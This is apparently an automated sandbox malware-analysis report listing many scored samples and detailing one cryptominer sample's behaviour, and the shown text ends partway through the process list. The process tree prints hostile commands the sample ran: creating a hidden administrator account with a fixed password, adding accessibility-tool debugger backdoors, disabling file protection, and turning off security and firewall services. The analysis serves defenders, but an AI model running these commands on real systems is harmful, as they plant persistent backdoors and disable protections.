Overview

overview

10

Static

static

10

foo/0044d6...f7.exe

windows7_x64

1

foo/0044d6...f7.exe

windows10_x64

1

foo/034e4c...a9.exe

windows7_x64

4

foo/034e4c...a9.exe

windows10_x64

4

foo/035fa2...72.exe

windows7_x64

10

foo/035fa2...72.exe

windows10_x64

10

foo/04884a...1b.exe

windows7_x64

8

foo/04884a...1b.exe

windows10_x64

8

foo/06ed82...59.exe

windows7_x64

7

foo/06ed82...59.exe

windows10_x64

7

foo/07470b...68.exe

windows7_x64

8

foo/07470b...68.exe

windows10_x64

8

foo/078adb...c0.exe

windows7_x64

10

foo/078adb...c0.exe

windows10_x64

10

foo/09e5c8...b4.exe

windows7_x64

1

foo/09e5c8...b4.exe

windows10_x64

1

foo/0becfe...f4.exe

windows7_x64

10

foo/0becfe...f4.exe

windows10_x64

10

foo/1a78d3...a3.exe

windows7_x64

5

foo/1a78d3...a3.exe

windows10_x64

5

foo/1ffe82...a6.exe

windows7_x64

10

foo/1ffe82...a6.exe

windows10_x64

10

foo/255028...e1.dll

windows7_x64

1

foo/255028...e1.dll

windows10_x64

1

foo/27601d...cc.exe

windows7_x64

8

foo/27601d...cc.exe

windows10_x64

8

foo/27f911...49.exe

windows7_x64

10

foo/27f911...49.exe

windows10_x64

10

foo/28408c...c5.exe

windows7_x64

10

foo/28408c...c5.exe

windows10_x64

10

foo/296822...e4.dll

windows7_x64

3

foo/296822...e4.dll

windows10_x64

3

foo/2de7b8...a4.exe

windows7_x64

10

foo/2de7b8...a4.exe

windows10_x64

10

foo/2e00df...8b.exe

windows7_x64

9

foo/2e00df...8b.exe

windows10_x64

9

foo/2e90a1...22.exe

windows7_x64

6

foo/2e90a1...22.exe

windows10_x64

6

foo/2f215e...b0.dll

windows7_x64

10

foo/2f215e...b0.dll

windows10_x64

10

foo/30bc06...3e.exe

windows7_x64

10

foo/30bc06...3e.exe

windows10_x64

10

foo/312e67...f3.exe

windows7_x64

4

foo/312e67...f3.exe

windows10_x64

4

foo/383497...1b.exe

windows7_x64

10

foo/383497...1b.exe

windows10_x64

10

foo/39555e...ec.exe

windows7_x64

10

foo/39555e...ec.exe

windows10_x64

10

foo/39e531...04.exe

windows7_x64

10

foo/39e531...04.exe

windows10_x64

10

foo/3aba72...cd.exe

windows7_x64

1

foo/3aba72...cd.exe

windows10_x64

1

foo/406c9b...fe.exe

windows7_x64

10

foo/406c9b...fe.exe

windows10_x64

10

foo/457cfd...ca.exe

windows7_x64

7

foo/457cfd...ca.exe

windows10_x64

7

foo/4761e4...60.exe

windows7_x64

8

foo/4761e4...60.exe

windows10_x64

8

foo/487f1b...04.exe

windows7_x64

8

foo/487f1b...04.exe

windows10_x64

7

foo/4a74c9...cf.exe

windows7_x64

10

foo/4a74c9...cf.exe

windows10_x64

10

foo/4b2d78...4b.exe

windows7_x64

8

foo/4b2d78...4b.exe

windows10_x64

8

foo/4c49c2...ba.exe

windows7_x64

1

foo/4c49c2...ba.exe

windows10_x64

1

foo/4cfe8f...77.exe

windows7_x64

9

foo/4cfe8f...77.exe

windows10_x64

9

foo/4ea454...13.exe

windows7_x64

8

foo/4ea454...13.exe

windows10_x64

8

foo/52d6c5...7e.exe

windows7_x64

7

foo/52d6c5...7e.exe

windows10_x64

7

foo/55fc11...e0.exe

windows7_x64

foo/55fc11...e0.exe

windows10_x64

10

foo/59f0fb...06.exe

windows7_x64

1

foo/59f0fb...06.exe

windows10_x64

1

foo/5b1c0d...cb.exe

windows7_x64

1

foo/5b1c0d...cb.exe

windows10_x64

1

foo/5bc72a...ea.exe

windows7_x64

8

foo/5bc72a...ea.exe

windows10_x64

8

foo/5d3305...2a.exe

windows7_x64

7

foo/5d3305...2a.exe

windows10_x64

7

foo/5d9775...39.exe

windows7_x64

8

foo/5d9775...39.exe

windows10_x64

8

foo/60121e...3e.exe

windows7_x64

9

foo/60121e...3e.exe

windows10_x64

9

foo/62565a...fd.exe

windows7_x64

10

foo/62565a...fd.exe

windows10_x64

10

foo/62a3fd...64.exe

windows7_x64

8

foo/62a3fd...64.exe

windows10_x64

10

foo/63e9ce...d0.exe

windows7_x64

8

foo/63e9ce...d0.exe

windows10_x64

8

foo/6497ba...c5.exe

windows7_x64

10

foo/6497ba...c5.exe

windows10_x64

10

foo/698cc8...31.exe

windows7_x64

7

foo/698cc8...31.exe

windows10_x64

7

foo/6f2c5c...d5.exe

windows7_x64

7

foo/6f2c5c...d5.exe

windows10_x64

7

foo/798f5e...ba.exe

windows7_x64

10

foo/798f5e...ba.exe

windows10_x64

10

foo/7aec86...51.exe

windows7_x64

1

foo/7aec86...51.exe

windows10_x64

1

foo/84bf6e...64.exe

windows7_x64

8

foo/84bf6e...64.exe

windows10_x64

8

foo/907b7d...b3.exe

windows7_x64

8

foo/907b7d...b3.exe

windows10_x64

8

foo/928f1d...ee.exe

windows7_x64

1

foo/928f1d...ee.exe

windows10_x64

1

foo/9401b0...6c.exe

windows7_x64

1

foo/9401b0...6c.exe

windows10_x64

1

foo/97dd87...84.exe

windows7_x64

10

foo/97dd87...84.exe

windows10_x64

10

foo/9b8c48...a4.exe

windows7_x64

8

foo/9b8c48...a4.exe

windows10_x64

8

foo/9cde71...cd.exe

windows7_x64

6

foo/9cde71...cd.exe

windows10_x64

6

foo/9d3438...4b.exe

windows7_x64

8

foo/9d3438...4b.exe

windows10_x64

1

foo/9f8818...2d.exe

windows7_x64

8

foo/9f8818...2d.exe

windows10_x64

3

foo/a17bdc...cf.exe

windows7_x64

9

foo/a17bdc...cf.exe

windows10_x64

9

foo/a29811...46.exe

windows7_x64

10

foo/a29811...46.exe

windows10_x64

10

foo/aa3b51...52.exe

windows7_x64

10

foo/aa3b51...52.exe

windows10_x64

10

foo/acf0b7...c4.exe

windows7_x64

8

foo/acf0b7...c4.exe

windows10_x64

8

foo/aeca5c...f7.exe

windows7_x64

1

foo/aeca5c...f7.exe

windows10_x64

1

foo/b10714...f3.exe

windows7_x64

8

foo/b10714...f3.exe

windows10_x64

8

foo/b23652...9f.exe

windows7_x64

6

foo/b23652...9f.exe

windows10_x64

6

foo/b514b5...fc.exe

windows7_x64

1

foo/b514b5...fc.exe

windows10_x64

1

foo/b64196...23.exe

windows7_x64

7

foo/b64196...23.exe

windows10_x64

7

foo/b693df...60.exe

windows7_x64

7

foo/b693df...60.exe

windows10_x64

7

foo/b6e7c9...bc.exe

windows7_x64

10

foo/b6e7c9...bc.exe

windows10_x64

10

foo/b7d5f0...4a.exe

windows7_x64

10

foo/b7d5f0...4a.exe

windows10_x64

10

foo/ba2d46...29.exe

windows7_x64

1

foo/ba2d46...29.exe

windows10_x64

1

foo/bad78e...e5.exe

windows7_x64

9

foo/bad78e...e5.exe

windows10_x64

9

foo/bc6536...b9.exe

windows7_x64

10

foo/bc6536...b9.exe

windows10_x64

10

foo/be85e0...2c.exe

windows7_x64

1

foo/be85e0...2c.exe

windows10_x64

1

foo/c914b1...ee.exe

windows7_x64

3

foo/c914b1...ee.exe

windows10_x64

3

foo/c944ea...cc.exe

windows7_x64

8

foo/c944ea...cc.exe

windows10_x64

8

foo/cad363...8b.exe

windows7_x64

6

foo/cad363...8b.exe

windows10_x64

6

foo/cd89b6...df.exe

windows7_x64

8

foo/cd89b6...df.exe

windows10_x64

8

foo/d81e76...c4.exe

windows7_x64

10

foo/d81e76...c4.exe

windows10_x64

10

foo/d86d2c...08.exe

windows7_x64

10

foo/d86d2c...08.exe

windows10_x64

10

foo/d8e37d...98.exe

windows7_x64

9

foo/d8e37d...98.exe

windows10_x64

9

foo/dea515...e1.exe

windows7_x64

10

foo/dea515...e1.exe

windows10_x64

6

foo/dfcc55...b8.exe

windows7_x64

7

foo/dfcc55...b8.exe

windows10_x64

7

foo/e03bd4...fe.exe

windows7_x64

8

foo/e03bd4...fe.exe

windows10_x64

8

foo/e16ec7...2d.exe

windows7_x64

8

foo/e16ec7...2d.exe

windows10_x64

8

foo/e61c0e...0e.exe

windows7_x64

7

foo/e61c0e...0e.exe

windows10_x64

7

foo/e78fad...51.exe

windows7_x64

8

foo/e78fad...51.exe

windows10_x64

8

foo/e7ad45...88.exe

windows7_x64

3

foo/e7ad45...88.exe

windows10_x64

3

foo/e95678...8f.exe

windows7_x64

1

foo/e95678...8f.exe

windows10_x64

1

foo/edf723...ee.dll

windows7_x64

1

foo/edf723...ee.dll

windows10_x64

1

foo/f2366f...f5.exe

windows7_x64

1

foo/f2366f...f5.exe

windows10_x64

1

foo/f645a9...1f.exe

windows7_x64

1

foo/f645a9...1f.exe

windows10_x64

1

foo/f65e75...56.exe

windows7_x64

1

foo/f65e75...56.exe

windows10_x64

1

foo/f66028...2b.exe

windows7_x64

8

foo/f66028...2b.exe

windows10_x64

8

foo/f6c1c7...89.exe

windows7_x64

10

foo/f6c1c7...89.exe

windows10_x64

10

foo/fbab90...7c.exe

windows7_x64

7

foo/fbab90...7c.exe

windows10_x64

7

foo/fcdc00...b3.exe

windows7_x64

8

foo/fcdc00...b3.exe

windows10_x64

8

foo/fffb61...ba.exe

windows7_x64

1

foo/fffb61...ba.exe

windows10_x64

1

Analysis

  • max time kernel
    135s
  • max time network
    175s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    11-08-2020 12:30

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    foo/bc6536b86b04cf5b3bf7cd353d615ab9.exe

Score
10/10
xmrigdiscoveryevasionminerpersistenceupx

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets file execution options in registry 2 TTPs
    persistence
  • Sets file to hidden 1 TTPs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • Stops running service(s) 3 TTPs
    evasion
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Modifies WinLogon 2 TTPs 13 IoCs
    persistence
  • Drops file in System32 directory 6 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 2 IoCs
  • Runs net.exe
  • Suspicious behavior: LoadsDriver 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\foo\bc6536b86b04cf5b3bf7cd353d615ab9.exe
    "C:\Users\Admin\AppData\Local\Temp\foo\bc6536b86b04cf5b3bf7cd353d615ab9.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:468
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\foo\U.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3064
      • C:\Windows\SysWOW64\chcp.com
        chcp 1251
        3⤵
          PID:3880
        • C:\Windows\SysWOW64\net.exe
          net user ontar /DELETE
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3996
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 user ontar /DELETE
            4⤵
              PID:3864
          • C:\Windows\SysWOW64\net.exe
            net user ontar Preaba1! /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1920
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 user ontar Preaba1! /add
              4⤵
                PID:3860
            • C:\Windows\SysWOW64\net.exe
              net localgroup Administrators ontar /add
              3⤵
                PID:2512
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators ontar /add
                  4⤵
                    PID:3268
                • C:\Windows\SysWOW64\net.exe
                  net localgroup "Remote Desktop Users" ontar /add
                  3⤵
                    PID:3972
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 localgroup "Remote Desktop Users" ontar /add
                      4⤵
                        PID:3948
                    • C:\Windows\SysWOW64\net.exe
                      net localgroup Администраторы ontar /add
                      3⤵
                        PID:804
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 localgroup Администраторы ontar /add
                          4⤵
                            PID:504
                        • C:\Windows\SysWOW64\net.exe
                          net localgroup "Пользователи удаленного рабочего стола" ontar /add
                          3⤵
                            PID:3992
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" ontar /add
                              4⤵
                                PID:2300
                            • C:\Windows\SysWOW64\net.exe
                              net localgroup Administrateurs ontar /add
                              3⤵
                                PID:500
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 localgroup Administrateurs ontar /add
                                  4⤵
                                    PID:3292
                                • C:\Windows\SysWOW64\net.exe
                                  net localgroup "Utilisateurs du Bureau а distance" ontar /add
                                  3⤵
                                    PID:3868
                                    • C:\Windows\SysWOW64\net1.exe
                                      C:\Windows\system32\net1 localgroup "Utilisateurs du Bureau а distance" ontar /add
                                      4⤵
                                        PID:3844
                                    • C:\Windows\SysWOW64\net.exe
                                      net localgroup Beheerders ontar /add
                                      3⤵
                                        PID:3684
                                        • C:\Windows\SysWOW64\net1.exe
                                          C:\Windows\system32\net1 localgroup Beheerders ontar /add
                                          4⤵
                                            PID:3376
                                        • C:\Windows\SysWOW64\net.exe
                                          net localgroup "Remote Desktop-gebruikers" ontar /add
                                          3⤵
                                            PID:3884
                                            • C:\Windows\SysWOW64\net1.exe
                                              C:\Windows\system32\net1 localgroup "Remote Desktop-gebruikers" ontar /add
                                              4⤵
                                                PID:3664
                                            • C:\Windows\SysWOW64\net.exe
                                              net localgroup Beheerders ontar /add
                                              3⤵
                                                PID:3136
                                                • C:\Windows\SysWOW64\net1.exe
                                                  C:\Windows\system32\net1 localgroup Beheerders ontar /add
                                                  4⤵
                                                    PID:3756
                                                • C:\Windows\SysWOW64\net.exe
                                                  net localgroup "Remote Desktop gebruikers" ontar /add
                                                  3⤵
                                                    PID:3092
                                                    • C:\Windows\SysWOW64\net1.exe
                                                      C:\Windows\system32\net1 localgroup "Remote Desktop gebruikers" ontar /add
                                                      4⤵
                                                        PID:3032
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net localgroup ??? ontar /add
                                                      3⤵
                                                        PID:3264
                                                        • C:\Windows\SysWOW64\net1.exe
                                                          C:\Windows\system32\net1 localgroup ??? ontar /add
                                                          4⤵
                                                            PID:2948
                                                        • C:\Windows\SysWOW64\net.exe
                                                          net localgroup "??????" ontar /add
                                                          3⤵
                                                            PID:2104
                                                            • C:\Windows\SysWOW64\net1.exe
                                                              C:\Windows\system32\net1 localgroup "??????" ontar /add
                                                              4⤵
                                                                PID:3728
                                                            • C:\Windows\SysWOW64\net.exe
                                                              net localgroup ??? ontar /add
                                                              3⤵
                                                                PID:3500
                                                                • C:\Windows\SysWOW64\net1.exe
                                                                  C:\Windows\system32\net1 localgroup ??? ontar /add
                                                                  4⤵
                                                                    PID:2448
                                                                • C:\Windows\SysWOW64\net.exe
                                                                  net localgroup "??????????????" ontar /add
                                                                  3⤵
                                                                    PID:1324
                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                      C:\Windows\system32\net1 localgroup "??????????????" ontar /add
                                                                      4⤵
                                                                        PID:3896
                                                                    • C:\Windows\SysWOW64\net.exe
                                                                      net localgroup Administratorzy ontar /add
                                                                      3⤵
                                                                        PID:3768
                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                          C:\Windows\system32\net1 localgroup Administratorzy ontar /add
                                                                          4⤵
                                                                            PID:3392
                                                                        • C:\Windows\SysWOW64\net.exe
                                                                          net localgroup "Uzytkownicy pulpitu zdalnego" ontar /add
                                                                          3⤵
                                                                            PID:2444
                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                              C:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" ontar /add
                                                                              4⤵
                                                                                PID:2748
                                                                            • C:\Windows\SysWOW64\net.exe
                                                                              net localgroup Administratorer ontar /add
                                                                              3⤵
                                                                                PID:3964
                                                                                • C:\Windows\SysWOW64\net1.exe
                                                                                  C:\Windows\system32\net1 localgroup Administratorer ontar /add
                                                                                  4⤵
                                                                                    PID:2672
                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                  net localgroup "Brukere av eksternt skrivebord" ontar /add
                                                                                  3⤵
                                                                                    PID:4020
                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                      C:\Windows\system32\net1 localgroup "Brukere av eksternt skrivebord" ontar /add
                                                                                      4⤵
                                                                                        PID:1764
                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                      net localgroup Administradores ontar /add
                                                                                      3⤵
                                                                                        PID:3960
                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                          C:\Windows\system32\net1 localgroup Administradores ontar /add
                                                                                          4⤵
                                                                                            PID:2108
                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                          net localgroup "Usuarios Remote Desktop" ontar /add
                                                                                          3⤵
                                                                                            PID:404
                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                              C:\Windows\system32\net1 localgroup "Usuarios Remote Desktop" ontar /add
                                                                                              4⤵
                                                                                                PID:2500
                                                                                            • C:\Windows\SysWOW64\net.exe
                                                                                              net localgroup Administradores ontar /add
                                                                                              3⤵
                                                                                                PID:3460
                                                                                                • C:\Windows\SysWOW64\net1.exe
                                                                                                  C:\Windows\system32\net1 localgroup Administradores ontar /add
                                                                                                  4⤵
                                                                                                    PID:2208
                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                  net localgroup "Usuarios de escritorio remoto" ontar /add
                                                                                                  3⤵
                                                                                                    PID:2668
                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                      C:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" ontar /add
                                                                                                      4⤵
                                                                                                        PID:2268
                                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                                      net localgroup gli amministratori ontar /add
                                                                                                      3⤵
                                                                                                        PID:488
                                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                                          C:\Windows\system32\net1 localgroup gli amministratori ontar /add
                                                                                                          4⤵
                                                                                                            PID:1668
                                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                                          net localgroup "Utenti desktop remoto" ontar /add
                                                                                                          3⤵
                                                                                                            PID:2704
                                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                                              C:\Windows\system32\net1 localgroup "Utenti desktop remoto" ontar /add
                                                                                                              4⤵
                                                                                                                PID:3284
                                                                                                            • C:\Windows\SysWOW64\net.exe
                                                                                                              net localgroup administratorer ontar /add
                                                                                                              3⤵
                                                                                                                PID:3084
                                                                                                                • C:\Windows\SysWOW64\net1.exe
                                                                                                                  C:\Windows\system32\net1 localgroup administratorer ontar /add
                                                                                                                  4⤵
                                                                                                                    PID:3436
                                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                                  net localgroup "Anvandare av fjarrskrivbord" ontar /add
                                                                                                                  3⤵
                                                                                                                    PID:3036
                                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                                      C:\Windows\system32\net1 localgroup "Anvandare av fjarrskrivbord" ontar /add
                                                                                                                      4⤵
                                                                                                                        PID:2116
                                                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                                                      net localgroup Administratoren ontar /add
                                                                                                                      3⤵
                                                                                                                        PID:2536
                                                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                                                          C:\Windows\system32\net1 localgroup Administratoren ontar /add
                                                                                                                          4⤵
                                                                                                                            PID:1624
                                                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                                                          net localgroup "RemoteDesktopBenutzer" ontar /add
                                                                                                                          3⤵
                                                                                                                            PID:924
                                                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                                                              C:\Windows\system32\net1 localgroup "RemoteDesktopBenutzer" ontar /add
                                                                                                                              4⤵
                                                                                                                                PID:1016
                                                                                                                            • C:\Windows\SysWOW64\net.exe
                                                                                                                              net localgroup Administratoren ontar /add
                                                                                                                              3⤵
                                                                                                                                PID:3936
                                                                                                                                • C:\Windows\SysWOW64\net1.exe
                                                                                                                                  C:\Windows\system32\net1 localgroup Administratoren ontar /add
                                                                                                                                  4⤵
                                                                                                                                    PID:3220
                                                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                                                  net localgroup "Remote Desktop Benutzer" ontar /add
                                                                                                                                  3⤵
                                                                                                                                    PID:3764
                                                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                                                      C:\Windows\system32\net1 localgroup "Remote Desktop Benutzer" ontar /add
                                                                                                                                      4⤵
                                                                                                                                        PID:3700
                                                                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                                                                      net localgroup Administradores ontar /add
                                                                                                                                      3⤵
                                                                                                                                        PID:852
                                                                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                                                                          C:\Windows\system32\net1 localgroup Administradores ontar /add
                                                                                                                                          4⤵
                                                                                                                                            PID:848
                                                                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                                                                          net localgroup "Utilizadores do ambiente de trabalho remoto" ontar /add
                                                                                                                                          3⤵
                                                                                                                                            PID:1848
                                                                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                                                                              C:\Windows\system32\net1 localgroup "Utilizadores do ambiente de trabalho remoto" ontar /add
                                                                                                                                              4⤵
                                                                                                                                                PID:3720
                                                                                                                                            • C:\Windows\SysWOW64\net.exe
                                                                                                                                              net localgroup Administrators ontar /add
                                                                                                                                              3⤵
                                                                                                                                                PID:796
                                                                                                                                                • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                  C:\Windows\system32\net1 localgroup Administrators ontar /add
                                                                                                                                                  4⤵
                                                                                                                                                    PID:2304
                                                                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                                                                  net localgroup "Utenti desktop remoto" ontar /add
                                                                                                                                                  3⤵
                                                                                                                                                    PID:3016
                                                                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                      C:\Windows\system32\net1 localgroup "Utenti desktop remoto" ontar /add
                                                                                                                                                      4⤵
                                                                                                                                                        PID:2876
                                                                                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                                                                                      net localgroup Administradores ontar /add
                                                                                                                                                      3⤵
                                                                                                                                                        PID:2484
                                                                                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                          C:\Windows\system32\net1 localgroup Administradores ontar /add
                                                                                                                                                          4⤵
                                                                                                                                                            PID:744
                                                                                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                                                                                          net localgroup "Usuarios de escritorio remoto" ontar /add
                                                                                                                                                          3⤵
                                                                                                                                                            PID:736
                                                                                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                              C:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" ontar /add
                                                                                                                                                              4⤵
                                                                                                                                                                PID:3648
                                                                                                                                                            • C:\Windows\SysWOW64\net.exe
                                                                                                                                                              net localgroup yoneticileri ontar /add
                                                                                                                                                              3⤵
                                                                                                                                                                PID:3012
                                                                                                                                                                • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                  C:\Windows\system32\net1 localgroup yoneticileri ontar /add
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:3792
                                                                                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                  net localgroup "Uzak masaustu kullan?c?lar?" ontar /add
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:2256
                                                                                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                      C:\Windows\system32\net1 localgroup "Uzak masaustu kullan?c?lar?" ontar /add
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:3172
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Narrator.exe" /v "debugger" /t REG_SZ /d "cmd.exe" /f
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:2196
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /v "debugger" /t REG_SZ /d "cmd.exe" /f
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:2632
                                                                                                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                          net accounts /forcelogoff:no
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:1492
                                                                                                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                              C:\Windows\system32\net1 accounts /forcelogoff:no
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:2628
                                                                                                                                                                            • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                              net accounts /maxpwage:unlimited
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:3908
                                                                                                                                                                                • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                  C:\Windows\system32\net1 accounts /maxpwage:unlimited
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:2136
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v helpassistant /t REG_DWORD /d "00000000" /f
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Modifies WinLogon
                                                                                                                                                                                  PID:2188
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ontar /t REG_DWORD /d "00000000" /f
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Modifies WinLogon
                                                                                                                                                                                  PID:684
                                                                                                                                                                                • C:\Windows\SysWOW64\chcp.com
                                                                                                                                                                                  chcp 1251
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1536
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SYSTEМ /t REG_DWORD /d "00000000" /f
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Modifies WinLogon
                                                                                                                                                                                    PID:3592
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Аdministrator /t REG_DWORD /d "00000000" /f
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Modifies WinLogon
                                                                                                                                                                                    PID:2312
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Aдминистратор /t REG_DWORD /d "00000000" /f
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Modifies WinLogon
                                                                                                                                                                                    PID:3224
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v RPLifeInterval /t REG_DWORD /d "00005180" /f
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2488
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SFCDisable /t REG_DWORD /d "FFFFFF9D" /f
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:3484
                                                                                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                        sc config rasman start= auto
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:2832
                                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                          sc config remoteaccess start= auto
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:3608
                                                                                                                                                                                          • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                            net start rasman
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:2056
                                                                                                                                                                                              • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                C:\Windows\system32\net1 start rasman
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:3924
                                                                                                                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                net start remoteaccess
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:2520
                                                                                                                                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                    C:\Windows\system32\net1 start remoteaccess
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:4012
                                                                                                                                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                    sc config wscsvc start= disabled
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:1880
                                                                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                      sc config SharedAccess start= disabled
